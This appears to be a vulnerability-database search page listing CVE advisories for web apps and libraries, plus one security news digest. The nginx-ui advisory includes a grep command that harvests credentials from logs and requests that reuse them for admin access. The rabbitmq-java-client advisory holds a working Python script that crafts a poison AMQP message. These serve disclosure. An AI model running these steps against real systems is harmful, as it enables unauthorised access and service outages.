Search: app.py
197 threats
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| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| High | 8.8 | EPSS 0.4% | High8.8EPSS 0.4%GCVE Database FastapiAdmin versions through 3.0 contain a hard-coded JWT signing secret in the backend/app/config/setting.py file. This vulnerability allows low-privileged users to forge JWT tokens to impersonate the superuser. Attackers can exploit this by registering via the unauthenticated /api/v1/system/user/register endpoint, logging in, and crafting a token that retains their session_id but sets the user_name to the superuser, thereby gaining elevated privileges. | GCVE Database | ||
| Medium | 6.9 | EPSS 0.4% | CVE-2026-108783PRVTPRO Amnezia-Web-Panel · Use of Default Credentials Medium6.9EPSS 0.4%CVE Database V5CVE-2026-108783 CVE-2026-108783 is a security vulnerability in PRVTPRO Amnezia-Web-Panel versions 1.6.0 through 1.7.2. It involves the use of default credentials in the Backup Download component, specifically in the app.py file. The vulnerability can be exploited remotely without authentication. Public exploit details have been disclosed, but the vendor has not responded or provided a fix. The CVSS 4.0 score rates this vulnerability as medium severity. EPSS 0.4%Vulnerability | CVE Database V5 | ||
| High | 8.8 | EPSS 0.3% | High8.8EPSS 0.3%CVE Database V5CVE-2026-107807 ## 1. Vulnerability Summary nginx-ui's `Node.Secret` is a master credential that bypasses all JWT/password authentication for the entire API. The application accepts this credential via a **URL query parameter** (`?node_secret=`), causing it to be recorded in plaintext in HTTP access logs, reverse proxy logs, browser history, and HTTP `Referer` headers. Additionally, the official cluster configuration format embeds node secrets directly into URL query strings stored in `app.ini` and environment variables, creating a systemic credential exposure pattern across the entire cluster deployment model. An attacker who gains read access to any log aggregation system, proxy log, or configuration file can extract the node secret and obtain full, persistent, unauthenticated administrative access to the nginx-ui API — including reading TLS private keys, modifying nginx configurations, and (when chained with Bug #1) achieving OS-level code execution. --- ## 2. Root Cause Analysis ### 2.1 Node Secret Accepted as URL Query Parameter The `getNodeSecret` function reads the credential from the URL query string as a fallback when the `X-Node-Secret` header is absent: [1](#3-0) This function is called in both `AuthRequired()` and `AuthRequiredWS()` middleware, meaning the query parameter bypass works for **all authenticated HTTP and WebSocket endpoints**: [2](#3-1) [3](#3-2) The same pattern is repeated in the WebSocket origin checker, which also reads `node_secret` from the URL: [4](#3-3) ### 2.2 Node Secret Is a Full Authentication Bypass The documentation explicitly states this is by design: [5](#3-4) When the secret matches, the middleware sets the request context to an admin-level init user and calls `c.Next()` — bypassing all JWT validation, session checks, and 2FA: [2](#3-1) ### 2.3 Cluster Configuration Embeds Node Secrets in URLs The official cluster configuration format, documented and used in `app.example.ini`, stores node secrets as URL query parameters: [6](#3-5) The `parseNodeUrl` function extracts the secret from the URL's query string and stores it in the database as the node's `Token` field: [7](#3-6) This means node secrets are embedded in: - `app.ini` on disk (readable by any process with filesystem access) - The `NGINX_UI_CLUSTER_NODE` environment variable (visible in `ps aux`, Docker inspect, Kubernetes pod specs, CI/CD logs) - The SQLite database `nodes` table as the `token` column in plaintext ### 2.4 Node Secret Generation Uses UUID The secret is auto-generated as a UUID v4 if not set: [8](#3-7) UUID v4 has 122 bits of entropy, which is adequate. However, the exposure surface described in this report makes entropy irrelevant — the secret is leaked through operational channels, not brute-forced. --- ## 3. Exposure Surface The following table maps each exposure vector to its source in the codebase: | Vector | How It Happens | Who Can See It | |---|---|---| | **HTTP access logs** | `GET /api/settings?node_secret=xxx` logged by nginx/caddy/apache | Log readers, SIEM operators | | **Application logs** | Gin debug mode logs full request URLs | Server operators, log aggregators | | **Browser history** | Admin uses `?node_secret=` URL directly | Anyone with browser access | | **HTTP Referer header** | Page with `?node_secret=` in URL links to external resource | Third-party servers | | **WebSocket URL logs** | `ws://host/api/ws?node_secret=xxx` logged by proxies | Proxy log readers | | **`app.ini` on disk** | Cluster node URLs contain `node_secret=` | Filesystem readers | | **Environment variables** | `NGINX_UI_CLUSTER_NODE=...&node_secret=...` | `ps aux`, Docker inspect, K8s pod specs | | **CI/CD pipeline logs** | Env vars printed during deployment | CI/CD log viewers | | **Database** | `nodes.token` column stored in plaintext SQLite | DB file readers | --- ## 4. Proof of Concept ### Scenario A: Log-Based Secret Extraction **Step 1 — Attacker gains read access to nginx access logs** (e.g., via a misconfigured log aggregator, a compromised monitoring account, or a separate vulnerability). **Step 2 — Search logs for the pattern:** ```bash grep -oP 'node_secret=[^&\s"]+' /var/log/nginx/access.log # Output: node_secret=a1b2c3d4-e5f6-7890-abcd-ef1234567890 ``` **Step 3 — Use the extracted secret for full API access:** ```http GET /api/settings HTTP/1.1 Host: target:9000 X-Node-Secret: a1b2c3d4-e5f6-7890-abcd-ef1234567890 ``` Response: Full settings JSON including `JwtSecret`, `NodeSecret`, all nginx paths, and all configured credentials. ```http GET /api/nginx/config?filepath=/etc/nginx/nginx.conf HTTP/1.1 Host: target:9000 X-Node-Secret: a1b2c3d4-e5f6-7890-abcd-ef1234567890 ``` Response: Full nginx configuration including any embedded credentials. ### Scenario B: Environment Variable Exposure in Docker/Kubernetes **Step 1 — Attacker reads a Kubernetes pod spec or Docker Compose file:** ```yaml environment: - NGINX_UI_CLUSTER_NODE=http://10.0.0.1:9000?name=node1&node_se | CVE Database V5 | ||
| Critical | 9.8 | EPSS 0.8% | Critical9.8EPSS 0.8%GCVE Database LMCache versions through 0.5.5 have an unauthenticated remote code execution vulnerability. Remote attackers can post Python scripts to the /run_script endpoint, exploiting the FastAPI app object to bypass import restrictions and execute arbitrary OS commands as the LMCache process. This vulnerability has a critical CVSS score of 9.8. | GCVE Database | ||
| Medium | 6.0 | EPSS 0.5% | CVE-2026-106122rabbitmq-java-client · Encoding Error Medium6.0EPSS 0.5%CVE Database V5CVE-2026-106122 ### Summary A single AMQP message with malformed UTF-8 in a shortstr property (for example `correlation-id`) can permanently disable a Java client RPC consumer. The client decodes malformed bytes into U+FFFD replacement characters. Each of those re-encodes to 3 bytes, so a 255-byte property becomes 765 bytes (over the 255-byte shortstr limit). When the application echoes that value back, as the documented RPC pattern does, the encoder throws an unchecked `IllegalArgumentException`. That kills the consumer loop or tears down the channel. The message is never acknowledged, so the broker requeues it and it disables the next consumer that picks it up. Recovery does not help; the service stays down until an operator manually purges the queue. In short: the decoder produces values the encoder rejects, and any client permitted to *use* an RPC service can permanently destroy it for everyone. ### Details `ValueReader.readShortstr` decodes with `new String(b, StandardCharsets.UTF_8)`, which silently substitutes U+FFFD for malformed input: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueReader.java#L69-L75 `ValueWriter.writeShortstr` then rejects the result with an unchecked exception: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueWriter.java#L44-L56 So a value the library itself produced cannot be passed back to the library. Any shortstr property that arrives from the wire and is echoed back (`correlation-id`, `reply-to` used as a routing key, `message-id`, `type`, `app-id`) is affected. Two consumption paths are impacted: 1. **`RpcServer.mainloop()`** catches only `InterruptedException` and `ShutdownSignalException`, so the exception escapes and the loop thread dies silently: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/RpcServer.java#L109-L129 2. **The pattern in the official tutorial** (`basicConsume` + `DeliverCallback`, echoing `correlationId` and publishing to `replyTo`) throws inside the callback, and the channel is closed by the exception handler. This is the more widely used of the two. In both cases `autoAck` is `false` and the ack is never reached, so the message returns to the queue. A related instance exists in the library's own recovery path: `RecordedConsumer.recover()` re-sends the broker-assigned consumer tag, which would hit the same throw if a malicious broker assigned a malformed tag. ### PoC Neither the Java client nor pika can reproduce this: the Java writer rejects oversized strings, and both encode `str` as well-formed UTF-8, which does not expand. The frames must be written by hand. **A triager who tries with a stock client will not reproduce it.** 1. Start a broker: ```bash docker run -it --rm --name rabbitmq -p 5672:5672 rabbitmq ``` 2. Publish a message whose `correlation-id` is 255 × `0xFF`: ```python import socket, struct def sstr(b): if isinstance(b, str): b = b.encode() return struct.pack(">B", len(b)) + b def lstr(b): return struct.pack(">I", len(b)) + b def fr(t, ch, p): return struct.pack(">BHI", t, ch, len(p)) + p + b"\xce" def m(c, mi, a=b""): return struct.pack(">HH", c, mi) + a QUEUE = "rpc.poison" s = socket.create_connection(("127.0.0.1", 5672), timeout=10) def rf(): h = b"" while len(h) < 7: h += s.recv(7 - len(h)) t, ch, sz = struct.unpack(">BHI", h) p = b"" while len(p) < sz: p += s.recv(sz - len(p)) s.recv(1); return t, ch, p def wait(c, mi): while True: t, ch, p = rf() if t == 1 and struct.unpack(">HH", p[:4]) == (c, mi): return p[4:] s.sendall(b"AMQP\x00\x00\x09\x01"); wait(10, 10) s.sendall(fr(1, 0, m(10, 11, struct.pack(">I", 0) + sstr("PLAIN") + lstr(b"\x00guest\x00guest") + sstr("en_US")))) cm, fm, _ = struct.unpack(">HIH", wait(10, 30)[:8]) # must echo broker's limits s.sendall(fr(1, 0, m(10, 31, struct.pack(">H", cm) + struct.pack(">I", fm) + struct.pack(">H", 0)))) s.sendall(fr(1, 0, m(10, 40, sstr("/") + sstr("") + b"\x00"))); wait(10, 41) s.sendall(fr(1, 1, m(20, 10, sstr("")))); wait(20, 11) s.sendall(fr(1, 1, m(50, 10, struct.pack(">H", 0) + sstr(QUEUE) + b"\x02" + struct.pack(">I", 0)))); wait(50, 11) s.sendall(fr(1, 1, m(60, 40, struct.pack(">H", 0) + sstr("") + sstr(QUEUE) + b"\x00"))) props = sstr(b"\xff" * 255) + sstr("some-reply-queue") # correlation-id = bit 10, reply-to = bit 9 s.sendall(fr(2, 1, struct.pack(">HHQ", 60, 0, 6) + struct.pack(">H", (1 << 10) | (1 << 9)) + props)) s.sendall(fr(3, 1, b"poison")) # close cleanly, otherwise the broker may not commit the publish s.sendall(fr(1, 0, m(10, 50, struct.pack(">H", 200) + sstr("done") + struct.pack(">HH", 0, 0)))) wait(10, 51); s.close() print("published to", QUEUE) ``` 3. Run a consumer using the tutorial pattern against `rpc.poison`: ```java DeliverCallback cb = (tag, delivery) -> { AMQP.BasicProperties reply = new AMQP.BasicProperties.Builder( | CVE Database V5 | ||
| High | 8.4 | EPSS <0.1% | CVE-2026-106105quasarframework quasar · Incorrect Permissions High8.4EPSS <0.1%CVE Database V5CVE-2026-106105 Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to @quasar/ssl-certificate 2.1.0, @quasar/cli 5.0.4, and @quasar/app-vite 3.3.0, the @quasar/ssl-certificate utility cached a combined private key and certificate PEM without explicitly applying owner-only filesystem permissions. Another local user able to read the cache can copy the key and impersonate a development TLS endpoint in an environment that trusts the certificate. The generated certificate was also CA-capable, carried unnecessarily broad key usages, and encoded the IPv6 loopback address as a DNS subject alternative name. This issue is fixed in @quasar/ssl-certificate 2.1.0, @quasar/cli 5.0.4, and @quasar/app-vite 3.3.0. | CVE Database V5 | ||
| High | 8.3 | EPSS 0.4% | CVE-2026-105762langgenius dify · Server-Side Request Forgery (SSRF) High8.3EPSS 0.4%CVE Database V5CVE-2026-105762 Dify is an open-source LLM app development platform. Prior to 1.13.0, the /console/api/remote-files/upload endpoint in api/controllers/web/remote_files.py accepted an attacker-controlled URL without authentication and caused the Dify server to retrieve it. A remote attacker could use the endpoint to send requests to internal services or cloud metadata endpoints, potentially exposing sensitive data and using the server as a network pivot. This issue is fixed in version 1.13.0. | CVE Database V5 | ||
| High | 7.1 | EPSS 0.2% | CVE-2026-105761langgenius dify · Insecure Direct Object Reference High7.1EPSS 0.2%CVE Database V5CVE-2026-105761 Dify is an open-source LLM app development platform. Prior to 1.16.0, the PUT /console/api/apps/<app_id>/server endpoint in api/controllers/console/app/mcp_server.py used AppMCPServerController.put() to retrieve an AppMCPServer by the client-supplied server ID without verifying that the server belonged to the requested application and tenant. An authenticated workspace member could therefore change another application's MCP server status and parameters, potentially redirecting data or disabling the service. This issue is fixed in version 1.16.0. | CVE Database V5 | ||
| High | 7.1 | EPSS 0.3% | CVE-2026-104975makeplane plane · Insecure Direct Object Reference High7.1EPSS 0.3%CVE Database V5CVE-2026-104975 Plane is an open-source project management tool. Prior to 1.4.0, Plane's dashboard asset endpoints in plane/app/views/asset/v2.py were remediated for two cross-tenant asset IDORs, CVE-2026-27705 and CVE-2026-46558. Those fixes added a membership check and project_id and workspace__slug scoping to the asset endpoints in that file. The Spaces app in plane/space/views/asset.py serves related public-board operations under /api/public/ but was not remediated. Its EntityAssetEndpoint and AssetRestoreEndpoint resolve a DeployBoard from a public anchor and then read or modify FileAsset rows scoped only to the board's workspace, without a membership check or project_id constraint. An attacker can therefore read, overwrite, or restore assets across projects and workspaces. This issue is fixed in 1.4.0. | CVE Database V5 | ||
| High | 7.5 | High7.5GCVE Database Vibe-Trading AI contains two related path traversal vulnerabilities in its file-read tools, allowing unauthenticated users to read arbitrary files within the container's root home (/root) and application directory (/app). The safe_user_path() function incorrectly permits any path under these directories, exposing sensitive files such as SSH keys, AWS credentials, and environment variables. Additionally, the read_document() function lacks sandboxing, enabling reading of any file accessible to the FastAPI process, including critical system files like /etc/shadow. The container runs as root, exacerbating the risk. These vulnerabilities can leak sensitive file contents via error messages when the files are parsed as trade journals. A patch is available to address both issues. | GCVE Database | |||
| –Not rated | – | SecurityWeek This report summarizes multiple cybersecurity developments including a set of iCloud email spoofing vulnerabilities, phishing campaigns targeting AI policy experts, a Chrome adblocker extension spying on AI chat conversations, and a large batch of vulnerabilities patched by Kiteworks. The iCloud spoofing bugs allowed attackers to send emails from arbitrary icloud.com addresses that passed SPF, DKIM, and DMARC checks due to inconsistent mail header parsing. The phishing campaigns involved a China-aligned group using fake AI advisory committee invitations to steal credentials via an adversary-in-the-middle proxy. The Poper Blocker Chrome extension was found to collect users' browsing history and AI chat conversations stealthily. Kiteworks patched over 100 vulnerabilities, including critical bugs that could lead to account takeover and code execution. Additional highlights include AI-assisted discovery of Android app flaws and a Cloudflare Containers data leakage vulnerability that was patched. No active exploits in the wild were reported for these issues. | SecurityWeek | |||
| Medium | 5.3 | EPSS 0.2% | CVE-2026-103544datadrivenconstruction OpenConstructionERP · Exposure of Data Element to Wrong Session Medium5.3EPSS 0.2%CVE Database V5CVE-2026-103544 A vulnerability was found in datadrivenconstruction OpenConstructionERP up to 14.8.1. The impacted element is an unknown function of the file backend/app/modules/ai/ai_client.py of the component Al Provider Configuration Handler. Performing a manipulation results in exposure of data element to wrong session. The attack may be initiated remotely. The exploit has been made public and could be used. Upgrading to version 15.0.0 is sufficient to resolve this issue. It is suggested to upgrade the affected component. EPSS 0.2%Vulnerability | CVE Database V5 | ||
| High | 8.1 | EPSS 0.3% | High8.1EPSS 0.3%CVE Database V5CVE-2026-87004 Tugtainer is a self-hosted app for automating updates of Docker containers. Prior to version 1.31.3, when the OIDC login flow completes, backend/modules/auth/providers/auth_oidc_provider.py decodes the id_token returned by the identity provider's token endpoint using jose.jwt.get_unverified_claims() instead of jwt.decode(). This skips signature verification, audience (aud) validation, issuer (iss) validation, and expiry (exp) checking entirely. The extracted claims (email/sub/preferred_username) are then used directly as the user_id for the resulting Tugtainer session. This issue has been patched in version 1.31.3. | CVE Database V5 | ||
| Critical | 9.8 | EPSS 0.6% | CVE-2026-55494Quenary tugtainer · Improper Access Control Critical9.8EPSS 0.6%CVE Database V5CVE-2026-55494 Tugtainer is a self-hosted app for automating updates of Docker containers. Prior to version 1.30.4, Tugtainer Agent allows unauthenticated access to Docker management APIs when AGENT_SECRET is not configured. The Agent uses request signatures to protect its API routes. However, in agent/auth.py, the signature verification function returns successfully if Config.AGENT_SECRET is empty. This causes protected Agent APIs to become accessible without authentication. This issue has been patched in version 1.30.4. | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.2% | CVE-2026-102244MODSetter SurfSense · Server-Side Request Forgery Medium5.3EPSS 0.2%CVE Database V5CVE-2026-102244 A security flaw has been discovered in MODSetter SurfSense up to 0.0.36. Impacted is an unknown function of the file surfsense_backend/app/routes/editor_routes.py of the component Document Export Feature. Performing a manipulation results in server-side request forgery. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks. Upgrading to version 0.0.36.3 is recommended to address this issue. The patch is named 2faff7b3823322a9cb6797973e6caf089386c354. The affected component should be upgraded. | CVE Database V5 | ||
| High | 7.4 | EPSS 0.2% | CVE-2026-57178python-social-auth social-core · Improper Authentication High7.4EPSS 0.2%CVE Database V5CVE-2026-57178 Python Social Auth's social-core component prior to version 5.0.0 contains an improper authentication vulnerability in the vk-app backend. The backend accepted VK application callback data without verifying the callback signature if the auth_key parameter was missing. This allowed attackers to impersonate arbitrary VK user identities by manipulating callback fields. The issue is fixed in version 5.0.0 by enforcing the presence and validity of auth_key before trusting callback data. | CVE Database V5 | ||
| Medium | 6.9 | EPSS 0.4% | CVE-2026-97231volotat Anagnorisis · Missing Authentication Medium6.9EPSS 0.4%CVE Database V5CVE-2026-97231 A vulnerability was found in volotat Anagnorisis up to 0.3.1/0.4.0. Affected is an unknown function of the file app.py of the component Socket.IO Connect Interface. The manipulation results in missing authentication. It is possible to launch the attack remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way. EPSS 0.4%Vulnerability | CVE Database V5 | ||
| Medium | 6.5 | Medium6.5GCVE Database A denial of service vulnerability exists in plone.app.contenttypes when uploading files or images with excessively long filenames. This can cause Plone to become unresponsive and make the UI difficult to use for editing or deleting the content. The issue has been patched in specific versions of plone.app.contenttypes and related fixes are available in plone.app.dexterity. No workarounds are known. | GCVE Database | |||
| Medium | 6.3 | EPSS 0.2% | CVE-2026-96456Pollen Robotics Reachy Mini · Race Condition Medium6.3EPSS 0.2%CVE Database V5CVE-2026-96456 The Reachy Mini Bluetooth service asks a connecting device for a PIN before it will accept commands. The check protects the session but not the caller, so an attacker in Bluetooth range can ride along on someone else's successful authentication. The authenticated state is kept in a single shared flag on the service instance rather than per device. BlueZ passes the calling device's identity to the characteristic write handler in the options argument, but WriteValue(self, value, options) in src/reachy_mini/daemon/app/services/bluetooth/bluetooth_service.py ignores options entirely. The handler therefore has no idea which device sent a given write, and it cannot tell the authenticated one from any other. Once any device completes the PIN exchange, the flag is set and every nearby device can send CMD_ commands until it resets. An attacker simply waits within radio range for a legitimate user to authenticate, then writes commands into the same window. No PIN is ever guessed or brute-forced. This is the second step of a three-step chain that JFrog documented against the robot. The first is the unrestricted file upload in the media sounds API, tracked as CVE-2026-55419, which places an attacker-controlled script on the filesystem. This issue then provides command access over Bluetooth. The third is the Bluetooth command handler path traversal, tracked as CVE-2026-62661, which runs that script as root. | CVE Database V5 | ||
| High | 8.8 | EPSS 0.3% | CVE-2026-96455Pollen Robotics Reachy Mini · Missing Authentication High8.8EPSS 0.3%CVE Database V5CVE-2026-96455 The Reachy Mini daemon exposes an HTTP API for managing the robot. Its app installation endpoint, POST /apps/install in src/reachy_mini/daemon/app/routers/apps.py, has no authentication. The handler's only dependency is Depends(get_app_manager), which just hands back the manager object from application state, so nothing in the chain ever checks a credential. The endpoint takes an AppInfo body naming a Hugging Face Space. The daemon downloads that Space and installs it as a Python package through install_package in src/reachy_mini/apps/sources/local_common_venv.py, using uv or pip. Installing a Python package runs the package's own build and setup code, so whoever chooses the Space chooses what code the robot runs. Anyone can publish a public Hugging Face Space, so this is not a meaningful restriction on the attacker. How far this reaches depends on the model. In _resolve_bind_host in src/reachy_mini/daemon/app/main.py the daemon binds 0.0.0.0 when it runs as the wireless version and 127.0.0.1 otherwise, with the vendor's own comment explaining that the robot has to be reachable on the LAN. On a wireless unit, then, any host on the same network can install and run code on the robot without credentials. One related change has already shipped but does not fix this. Version 1.8.2 replaced the wildcard CORS policy with an allow list of localhost and Tauri origins. That closes the browser drive-by route, where a web page the victim visits silently calls the endpoint in the background. It has no effect on this issue: CORS is enforced by browsers and governs whether script may read a response, while a direct HTTP request from another machine on the network involves no browser, no preflight and no CORS check at all. | CVE Database V5 |
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